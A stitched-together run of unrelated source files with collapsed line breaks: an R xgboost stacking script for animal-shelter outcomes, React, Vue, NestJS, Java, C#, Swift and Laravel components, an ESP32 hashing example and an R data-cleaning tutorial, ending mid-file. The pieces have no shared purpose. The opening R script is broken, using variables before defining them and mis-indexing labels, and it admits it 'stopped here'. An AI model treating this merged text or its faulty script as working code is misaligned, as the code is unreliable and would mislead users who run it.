shelter.df$SmallBreed2[which(shelter.df$Breed2=="Not Applicable")] <- "Not Applicable" shelter.df$SmallBreed2[which(shelter.df$Breed2=="Unknown")] <- "Not Applicable" shelter.df$MediumBreed2[which(shelter.df$Breed2=="Unknown")] <- "Not Applicable" shelter.df$LargeBreed2[which(shelter.df$Breed2=="Unknown")] <- "Not Applicable" shelter.df$SmallBreed2[which(shelter.df$Breed2=="Cirneco")] <- "Cirneco" #Convert all NA into some sort of level shelter.df$SmallBreed2[is.na(shelter.df$SmallBreed2)] <- "Not Applicable" shelter.df$LargeBreed2[is.na(shelter.df$LargeBreed2)] <- "Not Applicable" shelter.df$MediumBreed2[is.na(shelter.df$MediumBreed2)] <- "Not Applicable" #Clean age shelter.df$AgeuponOutcome <- as.character(shelter.df$AgeuponOutcome) convertAge <- function(x){ x <- ifelse(x!="",strsplit(x,"\\s")[[1]][1],x) } shelter.df$Age <- sapply(shelter.df$AgeuponOutcome,convertAge) shelter.df$Age <- as.numeric(shelter.df$Age) #convert age to weeks for (i in 1:nrow(shelter.df)) { if(!is.na(shelter.df$Age[i])){ if(grepl("year",shelter.df$AgeuponOutcome[i])){ shelter.df$Age[i] <- floor(shelter.df$Age[i]*52) } else if(grepl("month",shelter.df$AgeuponOutcome[i])){ shelter.df$Age[i] <- floor(shelter.df$Age[i]*4) } else if(grepl("week",shelter.df$AgeuponOutcome[i])){ shelter.df$Age[i] <- floor(shelter.df$Age[i]) } } } #Replace NA ages with mean shelter.df$Age[is.na(shelter.df$Age)] <- floor(mean(na.omit(shelter.df$Age))) #Date time: Earlier iterations have issues with 'Died' factor - it had the worst accuracy. Maybe date time will improve it #Will extract only the time part datetimesplt <- function(x){x <- strsplit(as.character(x),"\\s")[[1]][2]} shelter.df$Time <- sapply(shelter.df$DateTime, datetimesplt) #Convert Time to the closest hour for (i in 1:nrow(shelter.df)) { t1 <- as.numeric(strsplit(shelter.df$Time[i],":")[[1]][1]) t2 <- as.numeric(strsplit(shelter.df$Time[i],":")[[1]][2]) shelter.df$TimeHour[i] <- ifelse(t2 > 30, t1+1, t1) } #Lets clean up name. Name may have a play in returning to owner. Lots of name missing - we will just say has a name shelter.df$HasName <- ifelse(shelter.df$Name=="", "No", "Yes") #Sex upon outcome shelter.df$SexuponOutcome[shelter.df$SexuponOutcome==""] <- "Unknown" shelter.df$SexuponOutcome <- as.factor(as.character(shelter.df$SexuponOutcome)) #Lets extract a few features to work with for first model shelter.XB <- shelter.df[,which(colnames(shelter.df) %in% c("OutcomeType","HasName","TimeHour", "AnimalType", "SexuponOutcome", "Color1", "Color2", "Age","LargeBreed1","MediumBreed1","SmallBreed1","LargeBreed2", "MediumBreed2","SmallBreed2"))] shelter.XB$Color1 <- as.factor(shelter.XB$Color1) shelter.XB$Color2 <- as.factor(shelter.XB$Color2) shelter.XB$LargeBreed1 <- as.factor(shelter.XB$LargeBreed1) shelter.XB$MediumBreed1 <- as.factor(shelter.XB$MediumBreed1) shelter.XB$SmallBreed1 <- as.factor(shelter.XB$SmallBreed1) shelter.XB$LargeBreed2 <- as.factor(shelter.XB$LargeBreed2) shelter.XB$MediumBreed2 <- as.factor(shelter.XB$MediumBreed2) shelter.XB$SmallBreed2 <- as.factor(shelter.XB$SmallBreed2) shelter.XB$HasName <- as.factor(shelter.XB$HasName) #Split original test and train shelter.XB.Train <- shelter.XB[!is.na(shelter.XB$OutcomeType),] shelter.XB.Test <- shelter.XB[is.na(shelter.XB$OutcomeType),] #Visualize data #Try xboost model library(caret) library(xgboost) tmp.train.tr <- shelter.XB.Train[1:14000,] tmp.train.val <- shelter.XB.Train[14001:26729,] train.label.tr <- shelter.XB.Train[1:14000] train.label.val <- shelter.XB.Train[14001:26729] xb_model_tr <- xgboost(data = data.matrix(tmp.train.tr), label = train.label.tr, max_depth = 6, nround = 200, eta = 0.07, colsample_bytree = 0.7,subsample = 1.0, eval_metric = "mlogloss",objective = "multi:softprob", num_class = 5 ) pred <- predict(xb_model_tr,data.matrix(tmp.train.val)) pred_df <-data.frame(matrix(pred, ncol=5, byrow = TRUE)) colnames(pred_df) <- c("Adoption","Died","Euthanasia","Return_to_owner","Transfer") library(MLmetrics) Adoption <- rep(0,nrow(tmp.train.val)) Died <- rep(0,nrow(tmp.train.val)) Euthanasia <- rep(0,nrow(tmp.train.val)) R2O <- rep(0,nrow(tmp.train.val)) Transfer <- rep(0,nrow(tmp.train.val)) for (i in 1:nrow(tmp.train.val)) { if(train.label.val[i]==0){ Adoption[i] <- 1 } else if(train.label.val[i]==1){ Died[i] <- 1 } else if(train.label.val[i]==2){ Euthanasia[i] <- 1 } else if(train.label.val[i]==3){ R2O[i] <- 1 } else if(train.label.val[i]==4){ Transfer[i] <- 1 } } actual <- data.frame(Adoption,Died,Euthanasia,R2O,Transfer) colnames(actual) <- c("Adoption","Died","Euthanasia","Return_to_owner","Transfer") #rownames(actual) <- rownames(traindf.val) #Find log loss m_actual <- as.matrix(actual) m_results <- as.matrix(pred_df) MultiLogLoss(m_results,m_actual) #STACKING !!! #run model on val set xb_model_val <- xgboost(data = data.matrix(tmp.train.val), label = train.label.val, max_depth = 6, nround = 200, eta = 0.07, colsample_bytree = 0.7,subsample = 1.0, eval_metric = "mlogloss",objective = "multi:softprob", num_class = 5 ) pred_val <- predict(xb_model_val,data.matrix(tmp.train.tr)) pred_df_val <-data.frame(matrix(pred_val, ncol=5, byrow = TRUE)) colnames(pred_df_val) <- c("Adoption","Died","Euthanasia","Return_to_owner","Transfer") #Test log loss Adoption <- rep(0,nrow(tmp.train.tr)) Died <- rep(0,nrow(tmp.train.tr)) Euthanasia <- rep(0,nrow(tmp.train.tr)) R2O <- rep(0,nrow(tmp.train.tr)) Transfer <- rep(0,nrow(tmp.train.tr)) for (i in 1:nrow(tmp.train.tr)) { if(train.label.tr[i]==0){ Adoption[i] <- 1 } else if(train.label.tr[i]==1){ Died[i] <- 1 } else if(train.label.tr[i]==2){ Euthanasia[i] <- 1 } else if(train.label.tr[i]==3){ R2O[i] <- 1 } else if(train.label.tr[i]==4){ Transfer[i] <- 1 } } actual <- data.frame(Adoption,Died,Euthanasia,R2O,Transfer) colnames(actual) <- c("Adoption","Died","Euthanasia","Return_to_owner","Transfer") #rownames(actual) <- rownames(traindf.val) #Find log loss m_actual <- as.matrix(actual) m_results <- as.matrix(pred_df_val) MultiLogLoss(m_results,m_actual) #Create a combined df of train and val predictions combine_df <- rbind(pred_df_val,pred_df) ####Stopped here #Add predictions back to training shelter.XB.Train.Stack <- cbind(shelter.XB.Train, combine_df) #Predict test set using xb_model_tr dummies2 <- dummyVars(~.,data = shelter.XB.Test[,-c(1,12,14)]) tmp.test <- data.frame(predict(dummies, newdata = shelter.XB.Test[,-c(1,12,14)])) tmp.test <- cbind(tmp.test,shelter.XB.Test[,c(12,14)]) pred.test.set <- predict(xb_model_tr,data.matrix(tmp.test)) pred.test.df <-data.frame(matrix(final.pred, ncol=5, byrow = TRUE)) colnames(pred.test.df) <- c("Adoption","Died","Euthanasia","Return_to_owner","Transfer") #Add these predictions to test set shelter.XB.Test.Stack <- cbind(shelter.XB.Test,pred.test.df) #Now train on full stacked train set dummies <- dummyVars(~.,data = shelter.XB.Train.Stack[,-c(1,12,14)]) tmp.train <- data.frame(predict(dummies, newdata = shelter.XB.Train[,-c(1,12,14)])) tmp.train <- cbind(tmp.train,shelter.XB.Train[,c(12,14)]) final.pred <- predict(xb_model_tr,data.matrix(tmp.test)) final.pred.df <-data.frame(matrix(final.pred, ncol=5, byrow = TRUE)) colnames(final.pred.df) <- c("Adoption","Died","Euthanasia","Return_to_owner","Transfer") submit.data <- cbind(data.frame(shelter.tst$ID),final.pred.df) colnames(submit.data)[1] <- "ID" write.csv(submit.data,file = "/home/awaz/Documents/UISCourses/DataScience/AnimalShelter/submit4.csv",row.names = FALSE)
import PropTypes from 'prop-types'; import React from 'react'; import { Button, Checkbox, Icon, RouterLink, UncontrolledTooltip } from '@triniti/admin-ui-plugin/components'; import convertReadableTime from '@triniti/cms/utils/convertReadableTime'; import Collaborators from '@triniti/cms/plugins/raven/components/collaborators'; import Message from '@gdbots/pbj/Message'; import pbjUrl from '@gdbots/pbjx/pbjUrl'; const TableRow = ({ gallery, disabled, onSelectRow, isSelected, }) => ( <tr className={`status-${gallery.get('status')}`}> <th scope="row"> <Checkbox disabled={disabled} id={gallery.get('_id').toNodeRef().toString()} onChange={() => onSelectRow(gallery.get('_id').toNodeRef())} checked={isSelected} size="sm" /> </th> <td> {gallery.get('title')} <Collaborators nodeRef={gallery.get('_id').toNodeRef()} /> </td> <td className="text-nowrap">{convertReadableTime(gallery.get('order_date'))}</td> <td className="text-nowrap"> {gallery.has('published_at') && convertReadableTime(gallery.get('published_at'))} </td> <td className="td-icons"> <RouterLink to={pbjUrl(gallery, 'cms')}> <Button color="hover" radius="circle" className="mb-0 mr-1"> <Icon imgSrc="eye" alt="view" /> </Button> </RouterLink> <RouterLink to={`${pbjUrl(gallery, 'cms')}/edit`}> <Button color="hover" radius="circle" className="mb-0 mr-1"> <Icon imgSrc="pencil" alt="edit" /> </Button> </RouterLink> <a href={pbjUrl(gallery, 'canonical')} target="_blank" rel="noopener noreferrer" > <Button color="hover" id={`open-in-new-tab-${gallery.get('_id')}`} radius="circle" className="mr-1 mb-0"> <Icon imgSrc="external" alt="open" /> </Button> <UncontrolledTooltip placement="auto" target={`open-in-new-tab-${gallery.get('_id')}`}>Open in new tab</UncontrolledTooltip> </a> </td> </tr> ); TableRow.propTypes = { gallery: PropTypes.instanceOf(Message).isRequired, disabled: PropTypes.bool, onSelectRow: PropTypes.func.isRequired, isSelected: PropTypes.bool, }; TableRow.defaultProps = { disabled: false, isSelected: false, }; export default TableRow;
<template> <view class="my-address-wrap"> <!-- 选择收货地址的盒子 --> <view class="address-choose-box" v-if="JSON.stringify(addressInfo) === '{}'"> <button class="address-choose-btn" type="primary" size="mini" @click="chooseAddress">请选择收货地址+</button> </view> <!-- 收货信息的盒子 --> <view class="address-info-box" v-else @click="chooseAddress"> <view class="top"> <view class="receiver"> 收货人:{{addressInfo.userName}} </view> <view class="phone"> 电话:{{addressInfo.telNumber}} </view> </view> <view class="address"> 收货地址:{{addressDetail}} </view> </view> <!-- 底部的边框线 --> <view class="address-bottom"> <image class="address-bottom-img" src="../../static/cart_border@2x.png" mode="widthFix"></image> </view> </view> </template> <script> import { mapState, mapGetters, mapMutations } from 'vuex'; export default { name: "my-address", data() { return { // addressInfo: {} // 收货地址信息 }; }, computed: { // 把 user 模块中的 addressInfo 对象映射到当前组件中使用,代替 data 中addressInfo 对象 ...mapState('user', ['addressInfo']), // 提高代码的复用性,将收货详细地址抽离为getters,方便在多个页面和组件之间实现复用 // 通过辅助函数mapGetters,将 user 模块中的 addressDetail 映射到当前组件中使用 ...mapGetters(['addressDetail']) // // 收货详细地址的计算属性 // addressDetail() { // let addressDetail = '' // if (this.addressInfo.provinceName) { // addressDetail = // `${this.addressInfo.provinceName}${this.addressInfo.cityName}${this.addressInfo.countyName}${this.addressInfo.detailInfo}` // } // return addressDetail // } }, methods: { // 把 user 模块中的 updateAddressInfo 方法映射到当前组件中使用 ...mapMutations('user', ['updateAddressInfo']), // 选择收货地址 async chooseAddress() { // 1. 调用小程序提供的 chooseAddress() 方法,即可使用选择收货地址的功能 // 返回值是一个数组:第 1 项为错误对象;第 2 项为成功之后的收货地址对象 const [error, success] = await uni.chooseAddress().catch(error => error) // 2. 用户成功的选择了收货地址 if (error === null && success.errMsg === 'chooseAddress:ok') { // // 为 data 里面的收货地址对象赋值 // this.addressInfo = success // 调用user 模块中的 updateAddressInfo 方法,将addressInfo更新保存到user 模块中 this.updateAddressInfo(success) } } }, } </script> <style lang="less"> .my-address-wrap { .address-choose-box { // 方法一:水平垂直居中 // display: flex; // justify-content: center; // align-items: center; height: 180rpx; // 方法二:水平垂直居中 text-align: center; line-height: 180rpx; } .address-info-box { display: flex; flex-direction: column; justify-content: center; font-size: 24rpx; .top { display: flex; justify-content: space-between; padding: 20rpx 0; } } .address { padding-bottom: 20rpx; } .address-bottom { width: 100%; &-img { width: 100%; } } } </style>
#include "esp_random.h" #include "esp_system.h" #include "esp_wifi.h" #include "esp_event.h" #include "esp_log.h" #include "esp_netif.h" #include "esp_sntp.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "PSACrypto.h" static const char *TAG = ""; void app_main(void) { ESP_LOGI(TAG, "W3bstream SDK example: Hash"); ESP_LOGI(TAG, "This example shows how to use the W3bstream PSA Crypto API compute and " "validate a hash using a one shot operation."); ESP_LOGI(TAG, "--------------------------------------------------------------------\n"); // Initialize the library. psa_crypto_init(); // Generate a random seed. default_SetSeed(esp_random()); // Define a variable status that will be used to store the result of the PSA API calls. psa_status_t status = PSA_SUCCESS; // The data to hash. uint8_t message[4] = {0x01, 0x02, 0x03, 0x04}; // A buffer where the computed hash will be stored. uint8_t hash[32] = {0}; // A variable where the length of the computed hash will be stored. size_t hashLenght = 0; // Compute the hash using SHA256. status = psa_hash_compute(PSA_ALG_SHA_256, message, sizeof(message), hash, sizeof(hash), &hashLenght); // Print the message and the computed hash. ESP_LOGI(TAG, "Message: "); ESP_LOG_BUFFER_HEX(TAG, message, sizeof(message)); ESP_LOGI(TAG, "Hash (%d bytes):", hashLenght); ESP_LOG_BUFFER_HEX(TAG, hash, sizeof(hash)); // Verify the hash status = psa_hash_compare(PSA_ALG_SHA_256, message, sizeof(message), hash, hashLenght); if(status != PSA_SUCCESS) { ESP_LOGI(TAG, "Error: psa_hash_compare failed. Status code: %d", status); return; } else { ESP_LOGI(TAG, "Hash verified successfully."); } while(1) { vTaskDelay(5000 / portTICK_PERIOD_MS); } }
using AutoMapper; using WebAsos.Data.Entitties.Catalog; using WebAsos.Data.ViewModels.Category; using WebAsos.Helpers; using WebAsos.interfaces.Services; using WebAsos.Interfaces.CategoryInterfaces; using WebAsos.Interfaces.Services.Interfaces; namespace WebAsos.Services { public class CategoryService : ICategoryService { private readonly IMapper _mapper; private readonly ICategoryRepository _categoryRepository; public CategoryService(ICategoryRepository categoryRepository, IMapper mapper) { _categoryRepository = categoryRepository; _mapper = mapper; } public async Task<ServiceResponse> CreateAsync(CreateCategoryViewModel model) { try { var isExistCategory = await _categoryRepository.GetByName(model.Name); if (isExistCategory == null) { var newCategory = _mapper.Map<CreateCategoryViewModel, CategoryEntity>(model); var result = await _categoryRepository.CreateCategory(newCategory); if (result.Succeeded) { return new ServiceResponse() { IsSuccess = true }; } else { return new ServiceResponse() { IsSuccess = false, Message = "Problem with repositories !!!" }; } } else { return new ServiceResponse() { IsSuccess = false, Message = "Category with Name: " + model.Name + " exist" }; } } catch (Exception ex) { return new ServiceResponse() { IsSuccess = false, Message = ex.Message, Payload = ex.Message }; } } public async Task<ServiceResponse> DeleteAsync(int id) { try { var category = await _categoryRepository.GetById(id); if (category != null) { var result = await _categoryRepository.RemoveCategory(category); if (result.Succeeded == true) { return new ServiceResponse() { IsSuccess = true }; } else { return new ServiceResponse() { IsSuccess = false, Message = "Something went wrong" }; } } else { return new ServiceResponse() { IsSuccess = false, Message = "Category with Id: " + id + "is not exist" }; } } catch (Exception ex) { return new ServiceResponse() { IsSuccess = false, Message = ex.Message, Payload = ex.Message }; } } public async Task<ServiceResponse> GetAllAsync() { try { var listCategory = await _categoryRepository.GetAllCategories(); if (listCategory == null) { return new ServiceResponse() { IsSuccess = false, Message = "Categories is null" }; } return new ServiceResponse() { IsSuccess = true, Message = "Successful request!!!", Payload = listCategory }; } catch (Exception ex) { return new ServiceResponse() { IsSuccess = false, Message = ex.Message, Payload = ex.Message }; } } public async Task<CategoryEntity> GetByIdAsync(int id) { try { var product = await _categoryRepository.GetById(id); if (product != null) { return product; } else { return null; } } catch (Exception ex) { return null; } } //public async Task<ServiceResponse> GetByIdAsync(int id) //{ // try // { // var product = await _categoryRepository.GetById(id); // if (product != null) // { // return new ServiceResponse() { IsSuccess = true, Payload = product }; // } // else // { // return new ServiceResponse() { IsSuccess = false, Message = "Category with id: " + id + "is not exist" }; // } // } // catch (Exception ex) // { // return new ServiceResponse() { IsSuccess = false, Message = ex.Message, Payload = ex.Message }; // } //} public async Task<ServiceResponse> UpdateAsync(UpdateCategoryViewModel model) { try { var oldCategory = await _categoryRepository.GetById(model.Id); if (oldCategory != null) { var newCategory = _mapper.Map<UpdateCategoryViewModel, CategoryEntity>(model, oldCategory); var result = _categoryRepository.UpdateCategory(newCategory); return new ServiceResponse() { IsSuccess = true }; } else { return new ServiceResponse() { IsSuccess = false, Message = "Category with id: " + model.Id + " is not exist" }; } return null; } catch (Exception ex) { return new ServiceResponse() { IsSuccess = false, Message = ex.Message, Payload = ex.Message }; } } } }
rm(list=ls()) ########################################### ### DATA MANIPULATION ### ########################################### # LOADING FILE RSC <- read.csv("RetailScoreData.csv") head(RSC) # hygiene check to see if data is loaded correctly and also when I am making certain changes, # we want to check if the changes are implemented correctly head(RSC, 10) tail(RSC) tail(RSC,10) ### Data Dictionary of "RSC.csv" ### # branch: branch code # ncust: number of customers # age: age of the borrower # ed: educational qualification based on degrees # employ: number of years in the job # address: number of years in the current address # income: income in '000$ # debtinc: debt to income ratio (or burden) in % # creddebt: credit card debt in '000$ # othdebt: other debt in $mn # default: dummy for default incidents str(RSC) # info data type and shows a few data points in each column ################################################################ # CHANGING THE DATA TYPE OF THE COLUMN ################################################################ # branch: branch code is Nominal Data str(RSC$branch) # is being read as integer value # branch would be a nominal data type. So, in R it should be a factor variable. # Factor variables have levels RSC$branch <- as.factor(RSC$branch) levels(RSC$branch) class(RSC$branch) str(RSC$branch) # is being read as factor value ################################################################ # CHANGING THE COLUMN NAMES ################################################################ colnames(RSC) # vector colnames(RSC)[c(3,5)] colnames(RSC)[c(3,5)] <- c("customer_id", "education") colnames(RSC) ################################################################ # ADDING VARIABLES ################################################################ colnames(RSC) RSC$totaldebt <- RSC$creddebt + RSC$othdebt colnames(RSC) ################################################################ # ADDING VARIABLES AT A SPECIFIC INDEX ################################################################ dataset <- data.frame(a = 1:5, b = 2:6, c = 3:7) dataset # install.packages('tibble', dependencies = T) library(tibble) add_column(dataset, d = 4:8, .after = 2) # index add_column(dataset, e = 10:14, .after = "c") # col name add_column(dataset, g = 10:14, .before = "a") # col name
import { Body, Controller, Post } from "@nestjs/common"; import {ApiOperation, ApiResponse} from "@nestjs/swagger"; import { ResponseCreateTrackingDto } from "../dto/tracking/response-tracking.dto"; import { CreateTrackingDto } from "../dto/tracking/create-tracking.dto"; import { TrackingService } from "../services/tracking/tracking.service"; import { EventsGateway } from "../events/events.gateway"; @Controller('/tracking') export class TrackingController { constructor( private readonly trackingService: TrackingService, private readonly eventsGateway: EventsGateway ) {} @Post() @ApiOperation({ summary: 'Create Tracking item' }) @ApiResponse({type: ResponseCreateTrackingDto}) public async createTracking(@Body() trackingDto: CreateTrackingDto): Promise<ResponseCreateTrackingDto>{ const _id = await this.trackingService.createTracking(trackingDto); if (_id) { await this.eventsGateway.getListTrackings(); } return _id } }
package com.wisdombud.alumni.actions.manage; import java.util.List; import java.util.Map; import org.apache.commons.lang.StringUtils; import org.apache.struts2.convention.annotation.Namespace; import org.apache.struts2.convention.annotation.ParentPackage; import org.apache.struts2.convention.annotation.Result; import org.apache.struts2.convention.annotation.Results; import org.hibernate.criterion.Order; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.context.annotation.Scope; import com.google.common.collect.Lists; import com.google.common.collect.Maps; import com.wisdombud.alumni.actions.base.AbstractCrudAction; import com.wisdombud.alumni.common.IBaseSrv; import com.wisdombud.alumni.constants.Constants; import com.wisdombud.alumni.manage.BaseAlumniClubSrv; import com.wisdombud.alumni.pojo.manage.BaseAlumniBranch; import com.wisdombud.alumni.pojo.manage.BaseBranchRelation; import com.wisdombud.alumni.vo.AlumniBranchVo; import com.wisdombud.alumni.vo.Param; import common.toolkit.java.entity.PageEntity; /** * 功能: 校友分会表<br/> * date: 2017-3-28 19:28:27 <br/> * * @author zxguan * @version * @since JDK 1.8 */ @Scope("prototype") @ParentPackage(value = "portal-default") @Namespace(value = "/") @Results({ @Result(name = "toAddOrUpdate", location = "/WEB-INF/jsp/alumni-club-manage/create.jsp"), @Result(name = "toDetail", location = "/WEB-INF/jsp/alumni-club-manage/detail.jsp"), @Result(name = "toPage", location = "/WEB-INF/jsp/alumni-club-manage/page.jsp"), @Result(name = "toMember", location = "/WEB-INF/jsp/alumni-club-manage/member.jsp")}) public class AlumniClubAction extends AbstractCrudAction<BaseAlumniBranch> { private static final long serialVersionUID = 1L; @Autowired private BaseAlumniClubSrv srv; private String type; private String typeStr; private PageEntity<AlumniBranchVo> pageBranch; private PageEntity<BaseBranchRelation> pageMenber; public AlumniClubAction(@Qualifier(value = "baseAlumniClubSrv") IBaseSrv<BaseAlumniBranch> baseSrv) { super(baseSrv); } @Override public String hrefPage() { this.setTypeStr(srv.fillAlumniBranchTypeStr(type)); return super.hrefPage(); } @Override public void page() { if (this.isAjaxRequest()) { this.limit = this.limit == 0 ? Constants.DEFUALT_PAGESIZE : this.limit; pageEntity = new PageEntity<>(start, limit); pageBranch = new PageEntity<>(start, limit); srv.page(pageEntity, pageBranch, this.buildParams()); sendResponseMsg(pageBranch); } } @Override public String hrefAddOrUpdate() { this.setTypeStr(srv.fillAlumniBranchTypeStr(type)); if (StringUtils.isNotBlank(id)) { entity = baseSrv.find(id); } return super.hrefAddOrUpdate(); } public String hrefMember() { this.setTypeStr(srv.fillAlumniBranchTypeStr(type)); return "toMember"; } public void pageMember(){ if (isAjaxRequest() && StringUtils.isNotBlank(id)) { this.limit = this.limit == 0 ? Constants.DEFUALT_PAGESIZE : this.limit; pageMenber = new PageEntity<>(start, limit); srv.findMemberByBranch(pageMenber, this.buildMemberParams()); sendResponseMsg(pageMenber); } } @Override protected List<Order> buildOrder() { List<Order> orders = Lists.newArrayList(); orders.add(Order.asc("name")); return orders; } @Override protected Map<String, Param> buildParams() { Map<String, Param> params = Maps.newHashMap(); if (StringUtils.isNotBlank(type)) { params.put("type", Param.eq(type)); } return params; } protected Map<String, Param> buildMemberParams() { Map<String, Param> params = Maps.newHashMap(); if (StringUtils.isNotBlank(id)) { params.put("branchId", Param.eq(id)); } return params; } public String getType() { return type; } public void setType(String type) { this.type = type; } public String getTypeStr() { return typeStr; } public void setTypeStr(String typeStr) { this.typeStr = typeStr; } public PageEntity<AlumniBranchVo> getPageBranch() { return pageBranch; } public void setPageBranch(PageEntity<AlumniBranchVo> pageBranch) { this.pageBranch = pageBranch; } }
// // Calculator.swift // Zupper // // Created by nithish-17632 on 03/09/23. // import Foundation import UIKit class ReturnPercentageViewController: UIViewController { // UI elements private let paidTextField = UITextField() private let returnTextField = UITextField() private let percentageTextField = UITextField() private let calculatePercentageButton = UIButton() private let calculateReturnButton = UIButton() private let resultLabel = UILabel() override func viewDidLoad() { super.viewDidLoad() view.backgroundColor = .systemBackground // Configure UI elements configureTextField(paidTextField, placeholder: "Enter the amount paid") configureTextField(returnTextField, placeholder: "Enter the return amount") configureTextField(percentageTextField, placeholder: "Enter the return percentage") configureButton(calculatePercentageButton, title: "Calculate Percentage", action: #selector(calculatePercentageButtonTapped)) configureButton(calculateReturnButton, title: "Calculate Return", action: #selector(calculateReturnButtonTapped)) configureResultLabel() configureConstraints() paidTextField.becomeFirstResponder() } private func configureTextField(_ textField: UITextField, placeholder: String) { textField.placeholder = placeholder textField.tintColor = .systemBackground textField.borderStyle = .roundedRect textField.keyboardType = .decimalPad } private func configureButton(_ button: UIButton, title: String, action: Selector) { button.setTitle(title, for: .normal) button.backgroundColor = .systemBackground button.setTitleColor(.label, for: .normal) button.addTarget(self, action: action, for: .touchUpInside) } private func configureResultLabel() { resultLabel.textAlignment = .center resultLabel.textColor = .label resultLabel.numberOfLines = 0 } private func configureConstraints() { // Define constraints for UI elements paidTextField.translatesAutoresizingMaskIntoConstraints = false returnTextField.translatesAutoresizingMaskIntoConstraints = false percentageTextField.translatesAutoresizingMaskIntoConstraints = false resultLabel.translatesAutoresizingMaskIntoConstraints = false calculateReturnButton.translatesAutoresizingMaskIntoConstraints = false calculatePercentageButton.translatesAutoresizingMaskIntoConstraints = false view.addSubview(paidTextField) view.addSubview(returnTextField) view.addSubview(percentageTextField) view.addSubview(calculatePercentageButton) view.addSubview(calculateReturnButton) view.addSubview(resultLabel) NSLayoutConstraint.activate([ paidTextField.topAnchor.constraint(equalTo: view.safeAreaLayoutGuide.topAnchor,constant: 10), paidTextField.leadingAnchor.constraint(equalTo: view.safeAreaLayoutGuide.leadingAnchor,constant: 10), paidTextField.trailingAnchor.constraint(equalTo: view.safeAreaLayoutGuide.trailingAnchor,constant: -10), returnTextField.topAnchor.constraint(equalTo: paidTextField.bottomAnchor,constant: 10), returnTextField.leadingAnchor.constraint(equalTo: view.safeAreaLayoutGuide.leadingAnchor,constant: 10), returnTextField.trailingAnchor.constraint(equalTo: view.safeAreaLayoutGuide.trailingAnchor,constant: -10), percentageTextField.topAnchor.constraint(equalTo: returnTextField.bottomAnchor,constant: 10), percentageTextField.leadingAnchor.constraint(equalTo: view.safeAreaLayoutGuide.leadingAnchor,constant: 10), percentageTextField.trailingAnchor.constraint(equalTo: view.safeAreaLayoutGuide.trailingAnchor,constant: -10), calculateReturnButton.topAnchor.constraint(equalTo: percentageTextField.bottomAnchor,constant: 10), calculateReturnButton.leadingAnchor.constraint(equalTo: percentageTextField.leadingAnchor), calculatePercentageButton.topAnchor.constraint(equalTo: calculateReturnButton.topAnchor), calculatePercentageButton.trailingAnchor.constraint(equalTo: percentageTextField.trailingAnchor), resultLabel.topAnchor.constraint(equalTo: calculateReturnButton.bottomAnchor,constant: 10), resultLabel.centerXAnchor.constraint(equalTo: view.centerXAnchor), ]) } @objc private func calculatePercentageButtonTapped() { // Calculate return percentage if let paidText = paidTextField.text, let returnText = returnTextField.text, let paidAmount = Double(paidText), let returnAmount = Double(returnText) { let returnPercentage = ((returnAmount - paidAmount) / paidAmount) * 100 resultLabel.text = String(format: "Return Percentage: %.2f%%", returnPercentage) } else { resultLabel.text = "Invalid input" } percentageTextField.text = "" } @objc private func calculateReturnButtonTapped() { // Calculate return amount if let paidText = paidTextField.text, let percentageText = percentageTextField.text, let paidAmount = Double(paidText), let returnPercentage = Double(percentageText) { let returnAmount = (returnPercentage / 100) * paidAmount + paidAmount resultLabel.text = String(format: "Return Amount: %.2f", returnAmount) } else { resultLabel.text = "Invalid input" } returnTextField.text = "" } }
@extends('layouts.app') @section('content') <div class="container"> <div class="row justify-content-center"> <div class="col-md-8"> <a href="{{route('group.index')}}"><button style="margin-bottom: 10px" class="btn btn-sm btn-primary">Back to Lists</button></a> <div class="card"> <div class="card-header">Update record of {{ucwords($group->name)}}</div> <div class="card-body"> <form method="POST" action="{{route('group.update', $group->id)}}"> @csrf @method('PUT') <div class="form-group row"style="margin-top: 10px"> <label for="name" class="col-md-4 col-form-label text-md-right">{{ __('Name') }}</label> <div class="col-md-6"> <input id="name" type="text" class="form-control @error('name') is-invalid @enderror" name="name" value="{{ old('name') }}" required autocomplete="name" autofocus> @error('name') <span class="invalid-feedback" role="alert"> <strong>{{ $message }}</strong> </span> @enderror </div> </div> <div class="form-group row"style="margin-top: 10px"> <label for="description" class="col-md-4 col-form-label text-md-right">{{ __('description') }}</label> <div class="col-md-6"> <input id="description" type="text" class="form-control @error('description') is-invalid @enderror" name="description" value="{{ old('description') }}" required autocomplete="name" autofocus> @error('description') <span class="invalid-feedback" role="alert"> <strong>{{ $message }}</strong> </span> @enderror </div> </div> <div class="form-group row mb-0"style="margin-left: 218px ;margin-top: 10px"> <div class="col-md-6 offset-md-4"> <button type="submit" onclick="return confirm('Are you sure you want to update {{ucwords($group->name)}}\'')" class="btn btn-success"> Submit </button> </div> </div> </form> </div> </div> </div> </div> </div> @endsection
// Importing the useEffect and useState hooks from the React library. import { useEffect, useState } from "react"; // Defining and exporting the RandomColor component. export default function RandomColor() { // Declaring state variables for the type of color (hex or rgb) and the generated color. const [typeOfColor, setTypeOfColor] = useState("hex"); // State variable to determine the type of color (hex or rgb) const [color, setColor] = useState("#000000"); // State variable to hold the generated color // Utility function to generate a random number within a specified range. function randomColorUtility(length) { return Math.floor(Math.random() * length); } // Function to create a random hex color. function handleCreateRandomHexColor() { const hex = [1, 2, 3, 4, 5, 6, 7, 8, 9, "A", "B", "C", "D", "E", "F"]; let hexColor = "#"; // Generating random hexadecimal digits and concatenating them to form a hex color code. for (let i = 0; i < 6; i++) { hexColor += hex[randomColorUtility(hex.length)]; } setColor(hexColor); // Setting the generated hex color. } // Function to create a random RGB color. function handleCreateRandomRgbColor() { // Generating random values for red, green, and blue components of RGB color. const r = randomColorUtility(256); const g = randomColorUtility(256); const b = randomColorUtility(256); setColor(`rgb(${r},${g}, ${b})`); // Setting the generated RGB color. } // Effect hook to generate a random color when the typeOfColor changes. useEffect(() => { if (typeOfColor === "rgb") handleCreateRandomRgbColor(); else handleCreateRandomHexColor(); }, [typeOfColor]); // Dependency array containing typeOfColor. // Returning JSX to render the RandomColor component. return ( <div style={{ width: "100vw", height: "100vh", background: color, }} > <h1 id="RandomColor">Project 2 - Random Color Generator</h1>{" "} {/* Rendering a heading for the project */} <button onClick={() => setTypeOfColor("hex")}> Create HEX Color </button>{" "} {/* Button to set typeOfColor to "hex" */} <button onClick={() => setTypeOfColor("rgb")}> Create RGB Color </button>{" "} {/* Button to set typeOfColor to "rgb" */} {/* Button to generate a random color */} <button onClick={ typeOfColor === "hex" ? handleCreateRandomHexColor : handleCreateRandomRgbColor } > Generate Random Color </button> {/* Rendering the type and value of the generated color */} <div style={{ display: "flex", justifyContent: "center", 